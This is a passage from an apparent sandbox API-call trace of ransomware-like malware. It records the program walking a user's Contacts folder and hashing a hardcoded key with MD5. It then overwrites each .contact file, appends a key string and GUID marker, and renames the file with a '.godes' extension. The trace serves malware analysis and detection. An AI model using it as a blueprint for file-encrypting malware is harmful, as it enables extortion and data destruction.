lpOverlapped=0x0) returned 1 [0112.877] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.877] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.877] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.877] CloseHandle (hObject=0x624) returned 1 [0112.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0112.878] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0112.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0112.878] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.godes")) returned 1 [0112.879] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.879] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.880] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0112.880] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0112.880] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.880] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0112.880] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.880] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0112.880] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.880] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=1171) returned 1 [0112.880] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.882] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.882] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.883] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.883] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.883] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.883] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x493, lpOverlapped=0x0) returned 1 [0112.883] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0112.884] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.884] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.884] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0112.884] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.884] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.884] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.884] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0112.884] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.884] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.885] SetLastError (dwErrCode=0x0) [0112.885] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.886] GetLastError () returned 0x0 [0112.886] SetLastError (dwErrCode=0x0) [0112.887] GetLastError () returned 0x0 [0112.887] SetLastError (dwErrCode=0x0) [0112.887] GetLastError () returned 0x0 [0112.887] SetLastError (dwErrCode=0x0) [0112.887] GetLastError () returned 0x0 [0112.887] SetLastError (dwErrCode=0x0) [0112.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0112.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32593e0 | out: hHeap=0x660000) returned 1 [0112.887] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.887] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0112.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0112.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x490) returned 0x331ea60 [0112.887] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.887] WriteFile (in: hFile=0x624, lpBuffer=0x331ea60*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x331ea60*, lpNumberOfBytesWritten=0x3b2fb24*=0x48e, lpOverlapped=0x0) returned 1 [0112.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.887] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0112.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0112.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0112.887] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0112.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.887] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.887] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.887] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.888] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.888] CloseHandle (hObject=0x624) returned 1 [0112.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0112.888] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0112.888] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0112.888] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact.godes")) returned 1 [0112.889] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.889] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0112.890] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0112.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.890] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0112.890] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.890] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact") returned=".contact" [0112.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.891] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=1177) returned 1 [0112.891] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.893] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x473, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.893] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.895] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.895] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.895] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.895] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x499, lpOverlapped=0x0) returned 1 [0112.895] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.895] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0112.895] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.895] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.895] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0112.896] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.896] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.896] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.896] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0112.896] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.896] SetLastError (dwErrCode=0x0) [0112.896] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.897] SetLastError (dwErrCode=0x0) [0112.897] GetLastError () returned 0x0 [0112.898] SetLastError (dwErrCode=0x0) [0112.898] GetLastError () returned 0x0 [0112.898] SetLastError (dwErrCode=0x0) [0112.898] GetLastError () returned 0x0 [0112.898] SetLastError (dwErrCode=0x0) [0112.898] GetLastError () returned 0x0 [0112.898] SetLastError (dwErrCode=0x0) [0112.898] GetLastError () returned 0x0 [0112.898] SetLastError (dwErrCode=0x0) [0112.898] GetLastError () returned 0x0 [0112.898] SetLastError (dwErrCode=0x0) [0112.898] GetLastError () returned 0x0 [0112.898] SetLastError (dwErrCode=0x0) [0112.898] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0112.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32593e0 | out: hHeap=0x660000) returned 1 [0112.898] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.898] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0112.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0112.898] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4a0) returned 0x331ea60 [0112.898] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.898] WriteFile (in: hFile=0x624, lpBuffer=0x331ea60*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x331ea60*, lpNumberOfBytesWritten=0x3b2fb24*=0x494, lpOverlapped=0x0) returned 1 [0112.898] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.898] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x499, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.898] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0112.898] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0112.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0112.899] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0112.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0112.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.899] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.899] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.899] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.899] CloseHandle (hObject=0x624) returned 1 [0112.899] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0112.899] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0112.899] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0112.900] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact.godes")) returned 1 [0112.900] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0112.900] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0112.901] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0112.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.901] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\desktop.ini") returned=".ini" [0112.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0112.901] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0112.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0112.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.901] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact") returned=".contact" [0112.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.902] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=1174) returned 1 [0112.902] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.904] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x470, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.904] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.906] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.906] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.906] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: 